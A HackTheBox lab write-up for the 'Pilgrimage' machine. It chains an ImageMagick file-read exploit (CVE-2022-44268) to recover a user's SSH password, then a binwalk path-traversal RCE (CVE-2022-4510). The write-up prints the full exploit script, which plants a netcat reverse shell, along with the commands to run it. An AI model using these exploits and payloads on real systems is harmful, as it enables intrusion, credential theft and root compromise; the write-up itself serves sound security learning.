Pilgrimage – HackTheBox Writeup
Machine Name: Pilgrimage
IP: 10.10.11.219
Difficulty: Easy
Summary
Pilgrimage is an easy machine which starts with identifying the ImageMagick tool that the target web application uses to shrink images. The tool is vulnerable to Arbitrary File Reads which enable us to fetch the credentials from a database file. These credentials were used to SSH and gain a user shell. The privilege escalation consists of exploiting Binwalk that runs inside a cron script.
Information Gathering
Nmap scan shows that port 22 (SSH) and port 80 (HTTP) are open. Port 80 is running Nginx 1.18.0 webserver. Since the page is redirecting to “http://pilgrimage.htb”, let’s add it to the /etc/hosts file.
If we visit the webserver, we are presented with an application that seems to shrink images. The page allows us to upload files to shrink.
Upon uploading an image file, we observe that the shrunk files are stored at “/shrunk” location.
When dealing with such application that operate on files, I usually download the file and check the metadata to understand the underlying software that the application is using. Therefore, I downloaded the image and checked its metadata. I didn’t find anything interesting here.
exiftool ~/Downloads/64984c760ee63.png
Another way we could find information about the underlying software is to capture the request and check if it makes any API calls to the tool or discloses information about the tool. I did not find anything interesting here.
Next, I moved on to enumerating directories with ffuf. We immediately find a “.git” directory.
ffuf -u http://pilgrimage.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc all -c -r -sf -ac -o dir_ffuf.txt
To download this “.git” from the website, we can use gitdumper.
sudo pip install git-dumper git-dumper pilgrimage.htb/.git/ pilgrimage_git
The “index.php” file can help us understand what happens when we upload the image file. The image is uploaded using the POST method and the image is stored at “/var/www/pilgimage.htb/tmp”. A unique name is generated for the image, and the binary “magick” is executed to shrink the image. Apart from this, we can see that it connects to SQLite database located at file “/var/db/pilgrimage” using PHP Data Objects (PDO). Let’s investigate the “magick” binary.
From the “usage” option of the tool, we understand that the version of the tool is “ImageMagick 7.1.0-49 beta Q16-HDRI x86_64”.
./magick -usage
Arbitrary File Read via ImageMagick 7.1.0-49
I googled “ImageMagick 7.1.0-49 beta exploit” and found an Arbitrary File Read exploit.
How does the exploit work?
When ImageMagick parses the PNG file during operations like resize, it processes the textual chunks in the image. Textual chunks have a keyword and a text string. In this vulnerability, if the keyword is set to “profile,” ImageMagick interprets the text string as a filename and attempts to load the content of that file as a raw profile.
Take a look at the code from the ImageMagick commit:
This code snippet is part of the vulnerable code in ImageMagick. It checks if the PNG image has a valid “pHYs” chunk and if the keyword of a textual chunk is not equal to “density” or “units.” If these conditions are met, it copies the text string of the textual chunk as a filename and saves the content of the file into the new image being generated.
The exploitation path starts with uploading an image to trigger an ImageMagick command, such as using the “convert” command. The vulnerability lies in the code responsible for reading the textual chunks of the PNG image.
It lead me to the following PoC on github. It is a rust project, so I also installed rust. Let’s have a look at the main snippet of this PoC:
In line 22, the code adds a text chunk to the PNG header using the “add_text_chunk() method of the Encoder. The keyword is set to “Profile”, and the text string is set to the file path obtained from the command-line arguments. This is where the vulnerability is exploited by tricking ImageMagick into treating the text string as a filename.
Let’s use this PoC to obtain “/etc/passwd” file contents.
#Download PoC git clone https://github.com/voidz0r/CVE-2022-44268 #Install Rust sudo curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sudo sh source $HOME/.cargo/env #Run the exploit cargo run "/etc/passwd"
The generated “image.png” file needs to be used with the “convert” function of the “magick”, which the Pilgrimage application does when shrinking the file. Let’s upload the image and download it.
As the PoC in the github suggests, we need to run “identify” on the image that we obtained from Pilgrimage application that shrinks using “convert” of ImageMagick.
identify -verbose ~/Downloads/64985deddf727.png
The above is truncated output of the “identify” command, let’s use decode these Hex bytes using an online CyberChef tool. The contents of “/etc/passwd” are outputted here. We discover a user called “emily”.
You can also use python to decode the hex.
python3 -c 'print(bytes.fromhex("726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130393a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130343a3131303a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a656d696c793a783a313030303a313030303a656d696c792c2c2c3a2f686f6d652f656d696c793a2f62696e2f626173680a73797374656d642d636f726564756d703a783a3939393a3939393a73797374656d6420436f72652044756d7065723a2f3a2f7573722f7362696e2f6e6f6c6f67696e0a737368643a783a3130353a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a3939383a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a"))'
Getting User Shell
Great! Now that we know that we can read files on the server, let us get the contents of the database file that we found earlier. After we download the image file that reads the database file and run “identify” on it, we can input the same to CyberChef and decode the data. As we see in the output, it is a SQLite file. Let’s save that to a file.
cargo run "/var/db/pilgrimage"
If we find for “emily”, we can fetch the credentials of emily.
The password is “abigchonkyboi123”. Let’s use this to login to SSH. And we’re in!
Privilege Escalation
As always, I tried sudo -l. This did not provide anything interesting.
I downloaded linpeas to the target system and ran it!
We find that a file called “malwarescan.sh” is running as root. Let’s have a look at that file.
The script defines an array of “Executable script” and “Microsoft executable” to blacklist. It uses “inotifywait” to monitor the “/var/www/pilgrimage.htb/shrunk/” directory for file creations. Then it uses binwalk to analyze the files.
Let’s obtain the version of binwalk and start looking for exploits related to binwalk. The version being used is 2.3.2
I found this exploit allows RCE. Let’s look at how the exploit works.
Binwalk Remote Command Execution
Have a look at this code that binwalk uses:
def extractor(self, fname): fname = os.path.abspath(fname) out_dir = binwalk.core.common.unique_file_name(os.path.join(os.path.dirname(fname), "pfs-root")) try: with PFS(fname) as fs: data = binwalk.core.common.BlockFile(fname, 'rb') data.seek(fs.get_end_of_meta_data()) for entry in fs.entries(): outfile_path = os.path.join(out_dir, entry.fname) if not outfile_path.startswith(out_dir): binwalk.core.common.warning("Unpfs extractor detected directory traversal attempt for file: '%s'. Refusing to extract.") else: self._create_dir_from_fname(outfile_path) outfile = binwalk.core.common.BlockFile(outfile_path, 'wb') outfile.write(data.read(entry.fsize)) outfile.close() data.close() except KeyboardInterrupt as e: raise e
The vulnerable code snippet in the PFS (Parallel File System) extractor plugin attempts to create an output directory (out_dir) based on the input filename (fname). However, due to the flawed implementation, the os.path.join function does not fully resolve the path, leading to the issue.
The issue arises when os.path.join
is used on line 3 to create the out_dir
path. It does not fully resolve the path, leading to a path traversal vulnerability. By crafting a valid PFS filesystem that includes filenames containing the ../
traversal sequence, an attacker can force binwalk to write files outside of the intended extraction directory.
For example, using os.path.join(“/tmp”, “../etc/passwd”) would result in ‘/tmp/../etc/passwd’. However, calling os.path.abspath on this path would correctly resolve it to ‘/etc/passwd’. But since the vulnerable code does not use os.path.abspath on the out_dir
path, the condition on line 10 (if not outfile_path.startswith(out_dir)) will never be true, allowing the attacker to write files outside the extraction directory.
Understanding the Binwalk v2.3.2 RCE Exploit
The exploit constructs a header payload “header_pfs” that contains the PFS filesystem data with crafted path traversal sequence.
# Exploit Title: Binwalk v2.3.2 - Remote Command Execution (RCE) # Exploit Author: Etienne Lacoche # CVE-ID: CVE-2022-4510 import os import inspect import argparse parser = argparse.ArgumentParser() parser.add_argument("file", help="Path to input .png file",default=1) parser.add_argument("ip", help="Ip to nc listener",default=1) parser.add_argument("port", help="Port to nc listener",default=1) args = parser.parse_args() if args.file and args.ip and args.port: header_pfs = bytes.fromhex("5046532f302e390000000000000001002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e70790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034120000a0000000c100002e") lines = ['import binwalk.core.plugin\n','import os\n', 'import shutil\n','class MaliciousExtractor(binwalk.core.plugin.Plugin):\n',' def init(self):\n',' if not os.path.exists("/tmp/.binwalk"):\n',' os.system("nc ',str(args.ip)+' ',str(args.port)+' ','-e /bin/bash 2>/dev/null &")\n',' with open("/tmp/.binwalk", "w") as f:\n',' f.write("1")\n',' else:\n',' os.remove("/tmp/.binwalk")\n', ' os.remove(os.path.abspath(__file__))\n',' shutil.rmtree(os.path.join(os.path.dirname(os.path.abspath(__file__)), "__pycache__"))\n'] in_file = open(args.file, "rb") data = in_file.read() in_file.close() with open("/tmp/plugin", "w") as f: for line in lines: f.write(line) with open("/tmp/plugin", "rb") as f: content = f.read() os.system("rm /tmp/plugin") with open("binwalk_exploit.png", "wb") as f: f.write(data) f.write(header_pfs) f.write(content) print("") print("You can now rename and share binwalk_exploit and start your local netcat listener.") print("")
- The initial bytes “5046532f302e39” represent the PFS magic number, which is the ASCII representation of the string “PFS/0.9”. It identifies the start of the PFS filesystem.
- The subsequent bytes “0000000000000001” indicate the length of the PFS metadata. In this case, it is set to 1 byte.
- The bytes “002e2e2f2e2e2f2e2e2f2e636f6e6669672f62696e77616c6b2f706c7567696e732f62696e77616c6b2e7079” represent the path traversal sequence. Let’s break it down further:
- “002e2e2f2e2e2f2e2e2f” represents the “../” traversal sequence, which moves up one directory level.”2e636f6e6669672f” represents the ASCII representation of the string “.config/”.”62696e77616c6b2f706c7567696e732f” represents the ASCII representation of the string “binwalk/plugins/”.”62696e77616c6b2e7079″ represents the ASCII representation of the string “binwalk.py”.
Binwalk writes code in “/tmp/plugin” and reads its contents back into the “content” variable. The script removes the temporary “plugin” file and creates a new file named “binwalk_exploit.png” and writes the contents of the input PNG file, the crafted PFS header payload, and the extracted content from the “plugin” file into it.
After working hard to understand the PoC, let’s exploit the vulnerability using the PoC.
#Copy the exploit to a file vi privesc.py #Create an image for the exploit to work with touch image.png #Run the exploit python3 privesc.py image.png 10.10.16.5 443 #Copy the malicious image file generated by the exploit to the location where binwalk takes images and executes as root. cp binwalk_exploit.png /var/www/pilgrimage.htb/shrunk/
Pwned!